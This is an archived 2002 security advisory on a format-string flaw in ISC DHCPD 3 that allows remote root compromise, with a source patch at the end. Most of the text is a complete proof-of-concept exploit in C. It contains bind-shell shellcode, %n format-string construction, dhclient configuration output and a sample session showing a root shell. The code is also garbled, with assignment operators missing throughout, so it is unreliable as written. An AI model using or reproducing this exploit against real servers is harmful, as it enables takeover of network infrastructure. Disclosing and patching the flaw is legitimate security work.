26th Sep 2002 [SBWID-5337]
COMMAND

	ISC DHCPDv3 remote root compromise

SYSTEMS AFFECTED

	ISC DHCPD version 3.0.1rc8 and older

PROBLEM

	In Fermín J. Serna [fjserna@ngsec.com] of  NGSEC  [http://www.ngsec.com]
	advisory [NGSEC-2002-2] :
	
	ISC DHCPD (in its verion 3) is compiled by  default  with  NSUPDATE.  If
	ISC DHCPD is configured  to  make  a  dns-update  when  a  dhcp  request
	arrives, it will  send  a  dns-update  request  to  the  configured  DNS
	server. When the DNS server sends the response the ISC DHCPD parses  the
	packet and logs the result of the dns-update request  in  the  following
	way:
	
	
	        if (errorp)
	                log_error (obuf);
	        else
	                log_info (obuf);
	
	
	This code lacks of  format  string.  Since  "obuf"  contains  some  user
	supplied data such as client hostname, an attacker  can  query  the  ISC
	DHCP server with a hostname field  containing  a  malign  format  string
	(%n).
	
	This vulnerability can be exploited on local lans, lans with DHCP  relay
	servers or acting as a fake DHCP relay server.
	
	 Update (12 January 2003)
	 ======
	
	Exploit by VOID.AT Securityv [crew@void.at] :
	
	/***********************************************************
	 * hoagie_dhcpd.c
	 *
	 * local and remote exploit for isc dhcpd 3.0 (perhaps others)
	 *
	 * hi 19c3 guys ;)
	 *
	 * gcc hoagie_dhcpd.c -o hoagie_dhcpd
	 *
	 * Author: Andi <andi@void.at>
	 *
	 * Greetz to Greuff, philipp and the other hoagie-fellas :-)
	 *
	 * For this exploit we use the very very useful dhcp client
	 * option: hex-coloumn list as fqdn. For this trick we change
	 * in common/tables.c the parsing option to "X".
	 *
	 * # ./hd
	 * hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
	 * using return address location: 0xbfffdd4c
	 * return address: 0xbfffde38
	 * dummy vprintf address: 0xbfffdd70
	 * now run: dhclient -d -cf dhcp.conf eth0
	 * # ./dhclient -d -cf dhcp.conf eth0
	 * Internet Software Consortium DHCP Client V3.0
	 * Copyright 1995-2001 Internet Software Consortium.
	 * All rights reserved.
	 * For info, please visit http://www.isc.org/products/DHCP
	 *
	 * Listening on LPF/eth0/00:02:3f:af:89:fb
	 * Sending on   LPF/eth0/00:02:3f:af:89:fb
	 * Sending on   Socket/fallback
	 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
	 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
	 * ^C
	 * # telnet dhcpserverip 10000
	 * id;
	 * uid0(root) gid0(root) groups0(root)
	 *
	 * after I've written the return address location and used the
	 * last %n parameter, vfprintf still pops values from the stack
	 * so what happened: the dhcp server tries to write the written
	 * bytes to something like 0x2578.... which is part of the format
	 * string. so you have to add another dummy address pair where
	 * vfprintf can write dummy bytes.
	 *
	 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
	 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
	 * DAMAGE DONE USING THIS PROGRAM.
	 *
	 ************************************************************/
	#include <stdio.h>
	#include <stdlib.h>
	
	char shellcode[] 
	   "\x31\xdb"			// xor	ebx, ebx
	   "\xf7\xe3"			// mul	ebx
	   "\xb0\x66"			// mov     al, 102
	   "\x53"			// push    ebx
	   "\x43"			// inc     ebx
	   "\x53"			// push    ebx
	   "\x43"			// inc     ebx
	   "\x53"			// push    ebx
	   "\x89\xe1"			// mov     ecx, esp
	   "\x4b"			// dec     ebx
	   "\xcd\x80"			// int     80h
	   "\x89\xc7"			// mov     edi, eax
	   "\x52"			// push    edx
	   "\x66\x68\x27\x10"		// push    word 4135
	   "\x43"			// inc     ebx
	   "\x66\x53"			// push    bx
	   "\x89\xe1"			// mov     ecx, esp
	   "\xb0\x10"			// mov	al, 16
	   "\x50"			// push	eax
	   "\x51"			// push    ecx
	   "\x57"			// push    edi
	   "\x89\xe1"			// mov     ecx, esp
	   "\xb0\x66"			// mov     al, 102
	   "\xcd\x80"			// int     80h
	   "\xb0\x66"			// mov     al, 102
	   "\xb3\x04"			// mov     bl, 4
	   "\xcd\x80"			// int     80h
	   "\x50"			// push	eax
	   "\x50"			// push	eax
	   "\x57"			// push	edi
	   "\x89\xe1"			// mov	ecx, esp
	   "\x43"			// inc	ebx
	   "\xb0\x66"			// mov	al, 102
	   "\xcd\x80"			// int	80h
	   "\x89\xd9"			// mov	ecx, ebx
	   "\x89\xc3"			// mov     ebx, eax
	   "\xb0\x3f"			// mov     al, 63
	   "\x49"			// dec     ecx
	   "\xcd\x80"			// int     80h
	   "\x41"			// inc     ecx
	   "\xe2\xf8"			// loop    lp
	   "\x51"			// push    ecx
	   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
	   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
	   "\x89\xe3"			// mov     ebx, esp
	   "\x51"			// push    ecx
	   "\x53"			// push	ebx
	   "\x89\xe1"			// mov	ecx, esp
	   "\xb0\x0b"			// mov	al, 11
	   "\xcd\x80";			// int     80h
	
	char nop[]  "\x90\x90\x90\x90";
	
	int retloc  0xbfffdd4c;		/* use gdb to get it ;) */
	int retaddr  0xbfffde38;		/* hmm yes that sounds quite interesting */
	int dummyaddr  0xbfffdd70;		/* dummy stack pointer for vprintf */
	
	void help() {
	    printf("\t-l\t ... return address location\n");
	    printf("\t-r\t ... return address\n");
	    printf("\t-d\t ... dummy vfprintf address\n");
	    exit(0);
	}
	
	int main(int argc, char **argv) {
	    char buffer[4096], output[4096], tmp[6], pad[4][20];
	    FILE *fp;
	    unsigned char rl[4], ra[4], da[4];
	    int i, opt;
	    unsigned int start, diff, ret;
	    extern char *optarg;
	
	    printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
	    if (argc > 1) {
	       while ( (opt  getopt(argc, argv, "hl:r:d:")) ! EOF) {
	          switch(opt) {
	             case 'h': help(); break;
	             case 'l': sscanf(optarg, "0x%x", &retloc); break;
	             case 'r': sscanf(optarg, "0x%x", &retaddr); break;
	             case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
	          }
	       }
	    }
	    printf("using return address location: 0x%x\n", retloc);
	    printf("return address: 0x%x\n", retaddr);
	    printf("dummy vprintf address: 0x%x\n", dummyaddr);
	
	    /* convert return address location */
	    rl[0]  (char) (retloc >> 24);
	    rl[1]  (char) (retloc >> 16);
	    rl[2]  (char) (retloc >> 8);
	    rl[3]  (char) retloc;
	
	    /* convert dummy address */
	    da[0]  (char) (dummyaddr >> 24);
	    da[1]  (char) (dummyaddr >> 16);
	    da[2]  (char) (dummyaddr >> 8);
	    da[3]  (char) dummyaddr;
	
	    /* calculate paddings */
	    ra[3]  (char) (retaddr >> 24);
	    ra[2]  (char) (retaddr >> 16);
	    ra[1]  (char) (retaddr >> 8);
	    ra[0]  (char) retaddr;
	
	    start  0xd4;
	    for (i  0; i < 4; i++) {
	       if (start  ra[i]) {
	          strcpy(pad[i], "");
	       } else {
	          if (start > ra[i]) {
	             ret  ra[i];
	             while (start > ret) ret + 0x100;
	             diff  ret - start;
	          } else {
		     diff  ra[i] - start;
	          }
	          sprintf(pad[i], "%%%du", diff);
	          start + diff;
	       }
	    }
	
	    /* build the special format string */
	    sprintf(buffer,
	            "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
	            "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
	            "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
	            "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
	            "\x90\x90\x90\x90%c%c%c%c"
	            "\x90\x90\x90\x90%c%c%c%c"
	            "\x90\x90\x90\x90%c%c%c%c"
	            "\x90\x90\x90\x90%c%c%c%c"
	            "%s%%n"
	            "%s%%n"
	            "%s%%n"
	            "%s%%n"
		    "%s%s",
	            rl[3], rl[2], rl[1], rl[0],
	            rl[3] + 1, rl[2], rl[1], rl[0],
	            rl[3] + 2, rl[2], rl[1], rl[0],
	            rl[3] + 3, rl[2], rl[1], rl[0],
	            da[3], da[2], da[1], da[0],
	            da[3], da[2], da[1], da[0],
	            da[3], da[2], da[1], da[0],
	            da[3], da[2], da[1], da[0],
	            pad[0], pad[1], pad[2], pad[3], nop, shellcode);
	
	    /* convert to dhcp.conf syntax
	     * hex style input format rules -> change your dhclient source -> table=
	s.c and change fqdn to type X
	     * to add binary values
	     */
	    memset(output, 0, sizeof(output));
	    for (i  0; i < strlen(buffer) - 1; i++) {
	        sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
	        strcat(output, tmp);
	    }
	    sprintf(tmp, "%02x", (unsigned char)buffer[i]);
	    strcat(output, tmp);
	
	    /* create dhcp.conf and write options */
	    fp  fopen("dhcp.conf", "w");
	    fprintf(fp, "send fqdn.server-update on;\n");
	    fprintf(fp, "send fqdn.fqdn %s;", output);
	    fclose(fp);
	
	    /* have fun */
	    printf("now run: dhclient -d -cf dhcp.conf eth0\n");
	}
	

SOLUTION

	You can upgrade to a newer version or apply the following patch:
	
	- --- common/print.c      Tue Apr  9 13:41:17 2002
	+++ common/print.c.patched      Tue Apr  9 13:41:56 2002
	@@ -1366,8 +1366,8 @@
	                *s++ = '.';
	        *s++ = 0;
	        if (errorp)
	- -               log_error (obuf);
	+               log_error ("%s",obuf);
	        else
	- -               log_info (obuf);
	+               log_info ("%s",obuf);
	 }
	 #endif /* NSUPDATE */